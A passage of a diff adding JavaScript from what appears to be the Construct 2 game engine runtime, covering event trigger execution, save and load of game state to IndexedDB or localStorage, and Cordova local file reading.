+ var ret = false, ret2 = false;
+ var trig, index;
+ var fasttrigger = (typeof value !== "undefined");
+ var triggers = (fasttrigger ? sheet.fasttriggers : sheet.triggers);
+ var obj_entry = triggers[type_name];
+ if (!obj_entry)
+ return ret;
+ var triggers_list = null;
+ for (i = 0, leni = obj_entry.length; i < leni; ++i)
+ {
+ if (obj_entry[i].method == method)
+ {
+ triggers_list = obj_entry[i].evs;
+ break;
+ }
+ }
+ if (!triggers_list)
+ return ret;
+ var triggers_to_fire;
+ if (fasttrigger)
+ {
+ triggers_to_fire = triggers_list[value];
+ }
+ else
+ {
+ triggers_to_fire = triggers_list;
+ }
+ if (!triggers_to_fire)
+ return null;
+ for (i = 0, leni = triggers_to_fire.length; i < leni; i++)
+ {
+ trig = triggers_to_fire[i][0];
+ index = triggers_to_fire[i][1];
+ ret2 = this.executeSingleTrigger(inst, type_name, trig, index);
+ ret = ret || ret2;
+ }
+ return ret;
+ };
+ Runtime.prototype.executeSingleTrigger = function (inst, type_name, trig, index)
+ {
+ var i, leni;
+ var ret = false;
+ this.trigger_depth++;
+ var current_event = this.getCurrentEventStack().current_event;
+ if (current_event)
+ this.pushCleanSol(current_event.solModifiersIncludingParents);
+ var isrecursive = (this.trigger_depth > 1); // calling trigger from inside another trigger
+ this.pushCleanSol(trig.solModifiersIncludingParents);
+ if (isrecursive)
+ this.pushLocalVarStack();
+ var event_stack = this.pushEventStack(trig);
+ event_stack.current_event = trig;
+ if (inst)
+ {
+ var sol = this.types[type_name].getCurrentSol();
+ sol.select_all = false;
+ cr.clearArray(sol.instances);
+ sol.instances[0] = inst;
+ this.types[type_name].applySolToContainer();
+ }
+ var ok_to_run = true;
+ if (trig.parent)
+ {
+ var temp_parents_arr = event_stack.temp_parents_arr;
+ var cur_parent = trig.parent;
+ while (cur_parent)
+ {
+ temp_parents_arr.push(cur_parent);
+ cur_parent = cur_parent.parent;
+ }
+ temp_parents_arr.reverse();
+ for (i = 0, leni = temp_parents_arr.length; i < leni; i++)
+ {
+ if (!temp_parents_arr[i].run_pretrigger()) // parent event failed
+ {
+ ok_to_run = false;
+ break;
+ }
+ }
+ }
+ if (ok_to_run)
+ {
+ this.execcount++;
+ if (trig.orblock)
+ trig.run_orblocktrigger(index);
+ else
+ trig.run();
+ ret = ret || event_stack.last_event_true;
+ }
+ this.popEventStack();
+ if (isrecursive)
+ this.popLocalVarStack();
+ this.popSol(trig.solModifiersIncludingParents);
+ if (current_event)
+ this.popSol(current_event.solModifiersIncludingParents);
+ if (this.hasPendingInstances && this.isInOnDestroy === 0 && triggerSheetIndex === 0 && !this.isRunningEvents)
+ {
+ this.ClearDeathRow();
+ }
+ this.trigger_depth--;
+ return ret;
+ };
+ Runtime.prototype.getCurrentCondition = function ()
+ {
+ var evinfo = this.getCurrentEventStack();
+ return evinfo.current_event.conditions[evinfo.cndindex];
+ };
+ Runtime.prototype.getCurrentConditionObjectType = function ()
+ {
+ var cnd = this.getCurrentCondition();
+ return cnd.type;
+ };
+ Runtime.prototype.isCurrentConditionFirst = function ()
+ {
+ var evinfo = this.getCurrentEventStack();
+ return evinfo.cndindex === 0;
+ };
+ Runtime.prototype.getCurrentAction = function ()
+ {
+ var evinfo = this.getCurrentEventStack();
+ return evinfo.current_event.actions[evinfo.actindex];
+ };
+ Runtime.prototype.pushLocalVarStack = function ()
+ {
+ this.localvar_stack_index++;
+ if (this.localvar_stack_index >= this.localvar_stack.length)
+ this.localvar_stack.push([]);
+ };
+ Runtime.prototype.popLocalVarStack = function ()
+ {
+;
+ this.localvar_stack_index--;
+ };
+ Runtime.prototype.getCurrentLocalVarStack = function ()
+ {
+ return this.localvar_stack[this.localvar_stack_index];
+ };
+ Runtime.prototype.pushEventStack = function (cur_event)
+ {
+ this.event_stack_index++;
+ if (this.event_stack_index >= this.event_stack.length)
+ this.event_stack.push(new cr.eventStackFrame());
+ var ret = this.getCurrentEventStack();
+ ret.reset(cur_event);
+ return ret;
+ };
+ Runtime.prototype.popEventStack = function ()
+ {
+;
+ this.event_stack_index--;
+ };
+ Runtime.prototype.getCurrentEventStack = function ()
+ {
+ return this.event_stack[this.event_stack_index];
+ };
+ Runtime.prototype.pushLoopStack = function (name_)
+ {
+ this.loop_stack_index++;
+ if (this.loop_stack_index >= this.loop_stack.length)
+ {
+ this.loop_stack.push(cr.seal({ name: name_, index: 0, stopped: false }));
+ }
+ var ret = this.getCurrentLoop();
+ ret.name = name_;
+ ret.index = 0;
+ ret.stopped = false;
+ return ret;
+ };
+ Runtime.prototype.popLoopStack = function ()
+ {
+;
+ this.loop_stack_index--;
+ };
+ Runtime.prototype.getCurrentLoop = function ()
+ {
+ return this.loop_stack[this.loop_stack_index];
+ };
+ Runtime.prototype.getEventVariableByName = function (name, scope)
+ {
+ var i, leni, j, lenj, sheet, e;
+ while (scope)
+ {
+ for (i = 0, leni = scope.subevents.length; i < leni; i++)
+ {
+ e = scope.subevents[i];
+ if (e instanceof cr.eventvariable && cr.equals_nocase(name, e.name))
+ return e;
+ }
+ scope = scope.parent;
+ }
+ for (i = 0, leni = this.eventsheets_by_index.length; i < leni; i++)
+ {
+ sheet = this.eventsheets_by_index[i];
+ for (j = 0, lenj = sheet.events.length; j < lenj; j++)
+ {
+ e = sheet.events[j];
+ if (e instanceof cr.eventvariable && cr.equals_nocase(name, e.name))
+ return e;
+ }
+ }
+ return null;
+ };
+ Runtime.prototype.getLayoutBySid = function (sid_)
+ {
+ var i, len;
+ for (i = 0, len = this.layouts_by_index.length; i < len; i++)
+ {
+ if (this.layouts_by_index[i].sid === sid_)
+ return this.layouts_by_index[i];
+ }
+ return null;
+ };
+ Runtime.prototype.getObjectTypeBySid = function (sid_)
+ {
+ var i, len;
+ for (i = 0, len = this.types_by_index.length; i < len; i++)
+ {
+ if (this.types_by_index[i].sid === sid_)
+ return this.types_by_index[i];
+ }
+ return null;
+ };
+ Runtime.prototype.getGroupBySid = function (sid_)
+ {
+ var i, len;
+ for (i = 0, len = this.allGroups.length; i < len; i++)
+ {
+ if (this.allGroups[i].sid === sid_)
+ return this.allGroups[i];
+ }
+ return null;
+ };
+ Runtime.prototype.doCanvasSnapshot = function (format_, quality_)
+ {
+ this.snapshotCanvas = [format_, quality_];
+ this.redraw = true; // force redraw so snapshot is always taken
+ };
+ function IsIndexedDBAvailable()
+ {
+ try {
+ return !!window.indexedDB;
+ }
+ catch (e)
+ {
+ return false;
+ }
+ };
+ function makeSaveDb(e)
+ {
+ var db = e.target.result;
+ db.createObjectStore("saves", { keyPath: "slot" });
+ };
+ function IndexedDB_WriteSlot(slot_, data_, oncomplete_, onerror_)
+ {
+ try {
+ var request = indexedDB.open("_C2SaveStates");
+ request.onupgradeneeded = makeSaveDb;
+ request.onerror = onerror_;
+ request.onsuccess = function (e)
+ {
+ var db = e.target.result;
+ db.onerror = onerror_;
+ var transaction = db.transaction(["saves"], "readwrite");
+ var objectStore = transaction.objectStore("saves");
+ var putReq = objectStore.put({"slot": slot_, "data": data_ });
+ putReq.onsuccess = oncomplete_;
+ };
+ }
+ catch (err)
+ {
+ onerror_(err);
+ }
+ };
+ function IndexedDB_ReadSlot(slot_, oncomplete_, onerror_)
+ {
+ try {
+ var request = indexedDB.open("_C2SaveStates");
+ request.onupgradeneeded = makeSaveDb;
+ request.onerror = onerror_;
+ request.onsuccess = function (e)
+ {
+ var db = e.target.result;
+ db.onerror = onerror_;
+ var transaction = db.transaction(["saves"]);
+ var objectStore = transaction.objectStore("saves");
+ var readReq = objectStore.get(slot_);
+ readReq.onsuccess = function (e)
+ {
+ if (readReq.result)
+ oncomplete_(readReq.result["data"]);
+ else
+ oncomplete_(null);
+ };
+ };
+ }
+ catch (err)
+ {
+ onerror_(err);
+ }
+ };
+ Runtime.prototype.signalContinuousPreview = function ()
+ {
+ this.signalledContinuousPreview = true;
+ };
+ function doContinuousPreviewReload()
+ {
+ cr.logexport("Reloading for continuous preview");
+ if (!!window["c2cocoonjs"])
+ {
+ CocoonJS["App"]["reload"]();
+ }
+ else
+ {
+ if (window.location.search.indexOf("continuous") > -1)
+ window.location.reload(true);
+ else
+ window.location = window.location + "?continuous";
+ }
+ };
+ Runtime.prototype.handleSaveLoad = function ()
+ {
+ var self = this;
+ var savingToSlot = this.saveToSlot;
+ var savingJson = this.lastSaveJson;
+ var loadingFromSlot = this.loadFromSlot;
+ var continuous = false;
+ if (this.signalledContinuousPreview)
+ {
+ continuous = true;
+ savingToSlot = "__c2_continuouspreview";
+ this.signalledContinuousPreview = false;
+ }
+ if (savingToSlot.length)
+ {
+ this.ClearDeathRow();
+ savingJson = this.saveToJSONString();
+ if (IsIndexedDBAvailable() && !this.isCocoonJs)
+ {
+ IndexedDB_WriteSlot(savingToSlot, savingJson, function ()
+ {
+ cr.logexport("Saved state to IndexedDB storage (" + savingJson.length + " bytes)");
+ self.lastSaveJson = savingJson;
+ self.trigger(cr.system_object.prototype.cnds.OnSaveComplete, null);
+ self.lastSaveJson = "";
+ savingJson = "";
+ if (continuous)
+ doContinuousPreviewReload();
+ }, function (e)
+ {
+ try {
+ localStorage.setItem("__c2save_" + savingToSlot, savingJson);
+ cr.logexport("Saved state to WebStorage (" + savingJson.length + " bytes)");
+ self.lastSaveJson = savingJson;
+ self.trigger(cr.system_object.prototype.cnds.OnSaveComplete, null);
+ self.lastSaveJson = "";
+ savingJson = "";
+ if (continuous)
+ doContinuousPreviewReload();
+ }
+ catch (f)
+ {
+ cr.logexport("Failed to save game state: " + e + "; " + f);
+ self.trigger(cr.system_object.prototype.cnds.OnSaveFailed, null);
+ }
+ });
+ }
+ else
+ {
+ try {
+ localStorage.setItem("__c2save_" + savingToSlot, savingJson);
+ cr.logexport("Saved state to WebStorage (" + savingJson.length + " bytes)");
+ self.lastSaveJson = savingJson;
+ this.trigger(cr.system_object.prototype.cnds.OnSaveComplete, null);
+ self.lastSaveJson = "";
+ savingJson = "";
+ if (continuous)
+ doContinuousPreviewReload();
+ }
+ catch (e)
+ {
+ cr.logexport("Error saving to WebStorage: " + e);
+ self.trigger(cr.system_object.prototype.cnds.OnSaveFailed, null);
+ }
+ }
+ this.saveToSlot = "";
+ this.loadFromSlot = "";
+ this.loadFromJson = null;
+ }
+ if (loadingFromSlot.length)
+ {
+ if (IsIndexedDBAvailable() && !this.isCocoonJs)
+ {
+ IndexedDB_ReadSlot(loadingFromSlot, function (result_)
+ {
+ if (result_)
+ {
+ self.loadFromJson = result_;
+ cr.logexport("Loaded state from IndexedDB storage (" + self.loadFromJson.length + " bytes)");
+ }
+ else
+ {
+ self.loadFromJson = localStorage.getItem("__c2save_" + loadingFromSlot) || "";
+ cr.logexport("Loaded state from WebStorage (" + self.loadFromJson.length + " bytes)");
+ }
+ self.suspendDrawing = false;
+ if (!self.loadFromJson)
+ {
+ self.loadFromJson = null;
+ self.trigger(cr.system_object.prototype.cnds.OnLoadFailed, null);
+ }
+ }, function (e)
+ {
+ self.loadFromJson = localStorage.getItem("__c2save_" + loadingFromSlot) || "";
+ cr.logexport("Loaded state from WebStorage (" + self.loadFromJson.length + " bytes)");
+ self.suspendDrawing = false;
+ if (!self.loadFromJson)
+ {
+ self.loadFromJson = null;
+ self.trigger(cr.system_object.prototype.cnds.OnLoadFailed, null);
+ }
+ });
+ }
+ else
+ {
+ try {
+ this.loadFromJson = localStorage.getItem("__c2save_" + loadingFromSlot) || "";
+ cr.logexport("Loaded state from WebStorage (" + this.loadFromJson.length + " bytes)");
+ }
+ catch (e)
+ {
+ this.loadFromJson = null;
+ }
+ this.suspendDrawing = false;
+ if (!self.loadFromJson)
+ {
+ self.loadFromJson = null;
+ self.trigger(cr.system_object.prototype.cnds.OnLoadFailed, null);
+ }
+ }
+ this.loadFromSlot = "";
+ this.saveToSlot = "";
+ }
+ if (this.loadFromJson !== null)
+ {
+ this.ClearDeathRow();
+ var ok = this.loadFromJSONString(this.loadFromJson);
+ if (ok)
+ {
+ this.lastSaveJson = this.loadFromJson;
+ this.trigger(cr.system_object.prototype.cnds.OnLoadComplete, null);
+ this.lastSaveJson = "";
+ }
+ else
+ {
+ self.trigger(cr.system_object.prototype.cnds.OnLoadFailed, null);
+ }
+ this.loadFromJson = null;
+ }
+ };
+ function CopyExtraObject(extra)
+ {
+ var p, ret = {};
+ for (p in extra)
+ {
+ if (extra.hasOwnProperty(p))
+ {
+ if (extra[p] instanceof cr.ObjectSet)
+ continue;
+ if (extra[p] && typeof extra[p].c2userdata !== "undefined")
+ continue;
+ if (p === "spriteCreatedDestroyCallback")
+ continue;
+ ret[p] = extra[p];
+ }
+ }
+ return ret;
+ };
+ Runtime.prototype.saveToJSONString = function()
+ {
+ var i, len, j, lenj, type, layout, typeobj, g, c, a, v, p;
+ var o = {
+ "c2save": true,
+ "version": 1,
+ "rt": {
+ "time": this.kahanTime.sum,
+ "walltime": this.wallTime.sum,
+ "timescale": this.timescale,
+ "tickcount": this.tickcount,
+ "execcount": this.execcount,
+ "next_uid": this.next_uid,
+ "running_layout": this.running_layout.sid,
+ "start_time_offset": (Date.now() - this.start_time)
+ },
+ "types": {},
+ "layouts": {},
+ "events": {
+ "groups": {},
+ "cnds": {},
+ "acts": {},
+ "vars": {}
+ }
+ };
+ for (i = 0, len = this.types_by_index.length; i < len; i++)
+ {
+ type = this.types_by_index[i];
+ if (type.is_family || this.typeHasNoSaveBehavior(type))
+ continue;
+ typeobj = {
+ "instances": []
+ };
+ if (cr.hasAnyOwnProperty(type.extra))
+ typeobj["ex"] = CopyExtraObject(type.extra);
+ for (j = 0, lenj = type.instances.length; j < lenj; j++)
+ {
+ typeobj["instances"].push(this.saveInstanceToJSON(type.instances[j]));
+ }
+ o["types"][type.sid.toString()] = typeobj;
+ }
+ for (i = 0, len = this.layouts_by_index.length; i < len; i++)
+ {
+ layout = this.layouts_by_index[i];
+ o["layouts"][layout.sid.toString()] = layout.saveToJSON();
+ }
+ var ogroups = o["events"]["groups"];
+ for (i = 0, len = this.allGroups.length; i < len; i++)
+ {
+ g = this.allGroups[i];
+ ogroups[g.sid.toString()] = this.groups_by_name[g.group_name].group_active;
+ }
+ var ocnds = o["events"]["cnds"];
+ for (p in this.cndsBySid)
+ {
+ if (this.cndsBySid.hasOwnProperty(p))
+ {
+ c = this.cndsBySid[p];
+ if (cr.hasAnyOwnProperty(c.extra))
+ ocnds[p] = { "ex": CopyExtraObject(c.extra) };
+ }
+ }
+ var oacts = o["events"]["acts"];
+ for (p in this.actsBySid)
+ {
+ if (this.actsBySid.hasOwnProperty(p))
+ {
+ a = this.actsBySid[p];
+ if (cr.hasAnyOwnProperty(a.extra))
+ oacts[p] = { "ex": CopyExtraObject(a.extra) };
+ }
+ }
+ var ovars = o["events"]["vars"];
+ for (p in this.varsBySid)
+ {
+ if (this.varsBySid.hasOwnProperty(p))
+ {
+ v = this.varsBySid[p];
+ if (!v.is_constant && (!v.parent || v.is_static))
+ ovars[p] = v.data;
+ }
+ }
+ o["system"] = this.system.saveToJSON();
+ return JSON.stringify(o);
+ };
+ Runtime.prototype.refreshUidMap = function ()
+ {
+ var i, len, type, j, lenj, inst;
+ this.objectsByUid = {};
+ for (i = 0, len = this.types_by_index.length; i < len; i++)
+ {
+ type = this.types_by_index[i];
+ if (type.is_family)
+ continue;
+ for (j = 0, lenj = type.instances.length; j < lenj; j++)
+ {
+ inst = type.instances[j];
+ this.objectsByUid[inst.uid.toString()] = inst;
+ }
+ }
+ };
+ Runtime.prototype.loadFromJSONString = function (str)
+ {
+ var o;
+ try {
+ o = JSON.parse(str);
+ }
+ catch (e) {
+ return false;
+ }
+ if (!o["c2save"])
+ return false; // probably not a c2 save state
+ if (o["version"] > 1)
+ return false; // from future version of c2; assume not compatible
+ this.isLoadingState = true;
+ var rt = o["rt"];
+ this.kahanTime.reset();
+ this.kahanTime.sum = rt["time"];
+ this.wallTime.reset();
+ this.wallTime.sum = rt["walltime"] || 0;
+ this.timescale = rt["timescale"];
+ this.tickcount = rt["tickcount"];
+ this.execcount = rt["execcount"];
+ this.start_time = Date.now() - rt["start_time_offset"];
+ var layout_sid = rt["running_layout"];
+ if (layout_sid !== this.running_layout.sid)
+ {
+ var changeToLayout = this.getLayoutBySid(layout_sid);
+ if (changeToLayout)
+ this.doChangeLayout(changeToLayout);
+ else
+ return; // layout that was saved on has gone missing (deleted?)
+ }
+ var i, len, j, lenj, k, lenk, p, type, existing_insts, load_insts, inst, binst, layout, layer, g, iid, t;
+ var otypes = o["types"];
+ for (p in otypes)
+ {
+ if (otypes.hasOwnProperty(p))
+ {
+ type = this.getObjectTypeBySid(parseInt(p, 10));
+ if (!type || type.is_family || this.typeHasNoSaveBehavior(type))
+ continue;
+ if (otypes[p]["ex"])
+ type.extra = otypes[p]["ex"];
+ else
+ cr.wipe(type.extra);
+ existing_insts = type.instances;
+ load_insts = otypes[p]["instances"];
+ for (i = 0, len = cr.min(existing_insts.length, load_insts.length); i < len; i++)
+ {
+ this.loadInstanceFromJSON(existing_insts[i], load_insts[i]);
+ }
+ for (i = load_insts.length, len = existing_insts.length; i < len; i++)
+ this.DestroyInstance(existing_insts[i]);
+ for (i = existing_insts.length, len = load_insts.length; i < len; i++)
+ {
+ layer = null;
+ if (type.plugin.is_world)
+ {
+ layer = this.running_layout.getLayerBySid(load_insts[i]["w"]["l"]);
+ if (!layer)
+ continue;
+ }
+ inst = this.createInstanceFromInit(type.default_instance, layer, false, 0, 0, true);
+ this.loadInstanceFromJSON(inst, load_insts[i]);
+ }
+ type.stale_iids = true;
+ }
+ }
+ this.ClearDeathRow();
+ this.refreshUidMap();
+ var olayouts = o["layouts"];
+ for (p in olayouts)
+ {
+ if (olayouts.hasOwnProperty(p))
+ {
+ layout = this.getLayoutBySid(parseInt(p, 10));
+ if (!layout)
+ continue; // must've gone missing
+ layout.loadFromJSON(olayouts[p]);
+ }
+ }
+ var ogroups = o["events"]["groups"];
+ for (p in ogroups)
+ {
+ if (ogroups.hasOwnProperty(p))
+ {
+ g = this.getGroupBySid(parseInt(p, 10));
+ if (g && this.groups_by_name[g.group_name])
+ this.groups_by_name[g.group_name].setGroupActive(ogroups[p]);
+ }
+ }
+ var ocnds = o["events"]["cnds"];
+ for (p in this.cndsBySid)
+ {
+ if (this.cndsBySid.hasOwnProperty(p))
+ {
+ if (ocnds.hasOwnProperty(p))
+ {
+ this.cndsBySid[p].extra = ocnds[p]["ex"];
+ }
+ else
+ {
+ this.cndsBySid[p].extra = {};
+ }
+ }
+ }
+ var oacts = o["events"]["acts"];
+ for (p in this.actsBySid)
+ {
+ if (this.actsBySid.hasOwnProperty(p))
+ {
+ if (oacts.hasOwnProperty(p))
+ {
+ this.actsBySid[p].extra = oacts[p]["ex"];
+ }
+ else
+ {
+ this.actsBySid[p].extra = {};
+ }
+ }
+ }
+ var ovars = o["events"]["vars"];
+ for (p in ovars)
+ {
+ if (ovars.hasOwnProperty(p) && this.varsBySid.hasOwnProperty(p))
+ {
+ this.varsBySid[p].data = ovars[p];
+ }
+ }
+ this.next_uid = rt["next_uid"];
+ this.isLoadingState = false;
+ for (i = 0, len = this.fireOnCreateAfterLoad.length; i < len; ++i)
+ {
+ inst = this.fireOnCreateAfterLoad[i];
+ this.trigger(Object.getPrototypeOf(inst.type.plugin).cnds.OnCreated, inst);
+ }
+ cr.clearArray(this.fireOnCreateAfterLoad);
+ this.system.loadFromJSON(o["system"]);
+ for (i = 0, len = this.types_by_index.length; i < len; i++)
+ {
+ type = this.types_by_index[i];
+ if (type.is_family || this.typeHasNoSaveBehavior(type))
+ continue;
+ for (j = 0, lenj = type.instances.length; j < lenj; j++)
+ {
+ inst = type.instances[j];
+ if (type.is_contained)
+ {
+ iid = inst.get_iid();
+ cr.clearArray(inst.siblings);
+ for (k = 0, lenk = type.container.length; k < lenk; k++)
+ {
+ t = type.container[k];
+ if (type === t)
+ continue;
+;
+ inst.siblings.push(t.instances[iid]);
+ }
+ }
+ if (inst.afterLoad)
+ inst.afterLoad();
+ if (inst.behavior_insts)
+ {
+ for (k = 0, lenk = inst.behavior_insts.length; k < lenk; k++)
+ {
+ binst = inst.behavior_insts[k];
+ if (binst.afterLoad)
+ binst.afterLoad();
+ }
+ }
+ }
+ }
+ this.redraw = true;
+ return true;
+ };
+ Runtime.prototype.saveInstanceToJSON = function(inst, state_only)
+ {
+ var i, len, world, behinst, et;
+ var type = inst.type;
+ var plugin = type.plugin;
+ var o = {};
+ if (state_only)
+ o["c2"] = true; // mark as known json data from Construct 2
+ else
+ o["uid"] = inst.uid;
+ if (cr.hasAnyOwnProperty(inst.extra))
+ o["ex"] = CopyExtraObject(inst.extra);
+ if (inst.instance_vars && inst.instance_vars.length)
+ {
+ o["ivs"] = {};
+ for (i = 0, len = inst.instance_vars.length; i < len; i++)
+ {
+ o["ivs"][inst.type.instvar_sids[i].toString()] = inst.instance_vars[i];
+ }
+ }
+ if (plugin.is_world)
+ {
+ world = {
+ "x": inst.x,
+ "y": inst.y,
+ "w": inst.width,
+ "h": inst.height,
+ "l": inst.layer.sid,
+ "zi": inst.get_zindex()
+ };
+ if (inst.angle !== 0)
+ world["a"] = inst.angle;
+ if (inst.opacity !== 1)
+ world["o"] = inst.opacity;
+ if (inst.hotspotX !== 0.5)
+ world["hX"] = inst.hotspotX;
+ if (inst.hotspotY !== 0.5)
+ world["hY"] = inst.hotspotY;
+ if (inst.blend_mode !== 0)
+ world["bm"] = inst.blend_mode;
+ if (!inst.visible)
+ world["v"] = inst.visible;
+ if (!inst.collisionsEnabled)
+ world["ce"] = inst.collisionsEnabled;
+ if (inst.my_timescale !== -1)
+ world["mts"] = inst.my_timescale;
+ if (type.effect_types.length)
+ {
+ world["fx"] = [];
+ for (i = 0, len = type.effect_types.length; i < len; i++)
+ {
+ et = type.effect_types[i];
+ world["fx"].push({"name": et.name,
+ "active": inst.active_effect_flags[et.index],
+ "params": inst.effect_params[et.index] });
+ }
+ }
+ o["w"] = world;
+ }
+ if (inst.behavior_insts && inst.behavior_insts.length)
+ {
+ o["behs"] = {};
+ for (i = 0, len = inst.behavior_insts.length; i < len; i++)
+ {
+ behinst = inst.behavior_insts[i];
+ if (behinst.saveToJSON)
+ o["behs"][behinst.type.sid.toString()] = behinst.saveToJSON();
+ }
+ }
+ if (inst.saveToJSON)
+ o["data"] = inst.saveToJSON();
+ return o;
+ };
+ Runtime.prototype.getInstanceVarIndexBySid = function (type, sid_)
+ {
+ var i, len;
+ for (i = 0, len = type.instvar_sids.length; i < len; i++)
+ {
+ if (type.instvar_sids[i] === sid_)
+ return i;
+ }
+ return -1;
+ };
+ Runtime.prototype.getBehaviorIndexBySid = function (inst, sid_)
+ {
+ var i, len;
+ for (i = 0, len = inst.behavior_insts.length; i < len; i++)
+ {
+ if (inst.behavior_insts[i].type.sid === sid_)
+ return i;
+ }
+ return -1;
+ };
+ Runtime.prototype.loadInstanceFromJSON = function(inst, o, state_only)
+ {
+ var p, i, len, iv, oivs, world, fxindex, obehs, behindex, value;
+ var oldlayer;
+ var type = inst.type;
+ var plugin = type.plugin;
+ if (state_only)
+ {
+ if (!o["c2"])
+ return;
+ }
+ else
+ inst.uid = o["uid"];
+ if (o["ex"])
+ inst.extra = o["ex"];
+ else
+ cr.wipe(inst.extra);
+ oivs = o["ivs"];
+ if (oivs)
+ {
+ for (p in oivs)
+ {
+ if (oivs.hasOwnProperty(p))
+ {
+ iv = this.getInstanceVarIndexBySid(type, parseInt(p, 10));
+ if (iv < 0 || iv >= inst.instance_vars.length)
+ continue; // must've gone missing
+ value = oivs[p];
+ if (value === null)
+ value = NaN;
+ inst.instance_vars[iv] = value;
+ }
+ }
+ }
+ if (plugin.is_world)
+ {
+ world = o["w"];
+ if (inst.layer.sid !== world["l"])
+ {
+ oldlayer = inst.layer;
+ inst.layer = this.running_layout.getLayerBySid(world["l"]);
+ if (inst.layer)
+ {
+ oldlayer.removeFromInstanceList(inst, true);
+ inst.layer.appendToInstanceList(inst, true);
+ inst.set_bbox_changed();
+ inst.layer.setZIndicesStaleFrom(0);
+ }
+ else
+ {
+ inst.layer = oldlayer;
+ if (!state_only)
+ this.DestroyInstance(inst);
+ }
+ }
+ inst.x = world["x"];
+ inst.y = world["y"];
+ inst.width = world["w"];
+ inst.height = world["h"];
+ inst.zindex = world["zi"];
+ inst.angle = world.hasOwnProperty("a") ? world["a"] : 0;
+ inst.opacity = world.hasOwnProperty("o") ? world["o"] : 1;
+ inst.hotspotX = world.hasOwnProperty("hX") ? world["hX"] : 0.5;
+ inst.hotspotY = world.hasOwnProperty("hY") ? world["hY"] : 0.5;
+ inst.visible = world.hasOwnProperty("v") ? world["v"] : true;
+ inst.collisionsEnabled = world.hasOwnProperty("ce") ? world["ce"] : true;
+ inst.my_timescale = world.hasOwnProperty("mts") ? world["mts"] : -1;
+ inst.blend_mode = world.hasOwnProperty("bm") ? world["bm"] : 0;;
+ inst.compositeOp = cr.effectToCompositeOp(inst.blend_mode);
+ if (this.gl)
+ cr.setGLBlend(inst, inst.blend_mode, this.gl);
+ inst.set_bbox_changed();
+ if (world.hasOwnProperty("fx"))
+ {
+ for (i = 0, len = world["fx"].length; i < len; i++)
+ {
+ fxindex = type.getEffectIndexByName(world["fx"][i]["name"]);
+ if (fxindex < 0)
+ continue; // must've gone missing
+ inst.active_effect_flags[fxindex] = world["fx"][i]["active"];
+ inst.effect_params[fxindex] = world["fx"][i]["params"];
+ }
+ }
+ inst.updateActiveEffects();
+ }
+ obehs = o["behs"];
+ if (obehs)
+ {
+ for (p in obehs)
+ {
+ if (obehs.hasOwnProperty(p))
+ {
+ behindex = this.getBehaviorIndexBySid(inst, parseInt(p, 10));
+ if (behindex < 0)
+ continue; // must've gone missing
+ inst.behavior_insts[behindex].loadFromJSON(obehs[p]);
+ }
+ }
+ }
+ if (o["data"])
+ inst.loadFromJSON(o["data"]);
+ };
+ Runtime.prototype.fetchLocalFileViaCordova = function (filename, successCallback, errorCallback)
+ {
+ var path = cordova["file"]["applicationDirectory"] + "www/" + filename;
+ window["resolveLocalFileSystemURL"](path, function (entry)
+ {
+ entry.file(successCallback, errorCallback);
+ }, errorCallback);
+ };
+ Runtime.prototype.fetchLocalFileViaCordovaAsText = function (filename, successCallback, errorCallback)
+ {
+ this.fetchLocalFileViaCordova(filename, function (file)
+ {
+ var reader = new FileReader();
+ reader.onload = function (e)
+ {
+ successCallback(e.target.result);
+ };
+ reader.onerror = errorCallback;
+ reader.readAsText(file);
+ }, errorCallback);
+ };
+ var queuedArrayBufferReads = [];
+ var activeArrayBufferReads = 0;
+ var MAX_ARRAYBUFFER_READS = 8;
+ Runtime.prototype.maybeStartNextArrayBufferRead = function()
+ {
+ if (!queuedArrayBufferReads.length)
+ return; // none left
+ if (activeArrayBufferReads >= MAX_ARRAYBUFFER_READS)
+ return; // already got maximum number in-flight
+ activeArrayBufferReads++;
+ var job = queuedArrayBufferReads.shift();
+ this.doFetchLocalFileViaCordovaAsArrayBuffer(job.filename, job.successCallback, job.errorCallback);
+ };
+ Runtime.prototype.fetchLocalFileViaCordovaAsArrayBuffer = function (filename, successCallback_, errorCallback_)
+ {
+ var self = this;
+ queuedArrayBufferReads.push({
+ filename: filename,
+ successCallback: function (result)
+ {
+ activeArrayBufferReads--;
+ self.maybeStartNextArrayBufferRead();
+ successCallback_(result);
+ },
+ errorCallback: function (err)
+ {
+ activeArrayBufferReads--;
+ self.maybeStartNextArrayBufferRead();
+ errorCallback_(err);
+ }
+ });
+ this.maybeStartNextArrayBufferRead();
+ };
+ Runtime.prototype.doFetchLocalFileViaCordovaAsArrayBuffer = function (filename, successCallback, errorCallback)
+ {
+ this.fetchLocalFileViaCordova(filename, function (file)
+ {
+ var reader = new FileReader();
+ reader.onload = function (e)
+ {
+ successCallback(e.target.result);
+ };
+ reader.readAsArrayBuffer(file);
+ }, errorCallback);
+ };
+ Runtime.prototype.fetchLocalFileViaCordovaAsURL = function (filename, successCallback, errorCallback)
+ {
+ var blobType = "";
+ var lowername = filename.toLowerCase();
+ var ext3 = lowername.substr(lowername.length - 4);
+ var ext4 = lowername.substr(lowername.length - 5);
+ if (ext3 === ".mp4")
+ blobType = "video/mp4";
+ else if (ext4 === ".webm")
+ blobType = "video/webm"; // use video type but hopefully works with audio too
+ else if (ext3 === ".m4a")
+ blobType = "audio/mp4";
+ else if (ext3 === ".mp3")
+ blobType = "audio/mpeg";
+ this.fetchLocalFileViaCordovaAsArrayBuffer(filename, function (arrayBuffer)
+ {
+ var blob = new Blob([arrayBuffer], { type: blobType });
+ var url = URL.createObjectURL(blob);
+ successCallback(url);
+ }, errorCallback);
+ };
+ Runtime.prototype.isAbsoluteUrl = function (url)
+ {
+ return /^(?:[a-z]+:)?\/\//.test(url) || url.substr(0, 5) === "data:" || url.substr(0, 5) === "blob:";
+ };
+ Runtime.prototype.setImageSrc = function (img, src)
+ {
+ if (this.isWKWebView && !this.isAbsoluteUrl(src))
+ {
+ this.fetchLocalFileViaCordovaAsURL(src, function (url)
+ {
+ img.src = url;
+ }, function (err)
+ {
+ alert("Failed to load image: " + err);
+ });
+ }
+ else
+ {
+ img.src = src;
+ }
+ };
+ Runtime.prototype.setCtxImageSmoothingEnabled = function (ctx, e)
+ {
+ if (typeof ctx["imageSmoothingEnabled"] !== "undefined")
+ {
+ ctx["imageSmoothingEnabled"] = e;
+ }
+ else
+ {
+ ctx["webkitImageSmoothingEnabled"] = e;
+ ctx["mozImageSmoothingEnabled"] = e;
+ ctx["msImageSmoothingEnabled"] = e;
+ }
+ };
+ cr.runtime = Runtime;
+ cr.createRuntime = function (canvasid)
+ {
+ return new Runtime(document.getElementById(canvasid));
+ };
+ cr.createDCRuntime = function (w, h)
+ {
+ return new Runtime({ "dc": true, "width": w, "height": h });
+ };
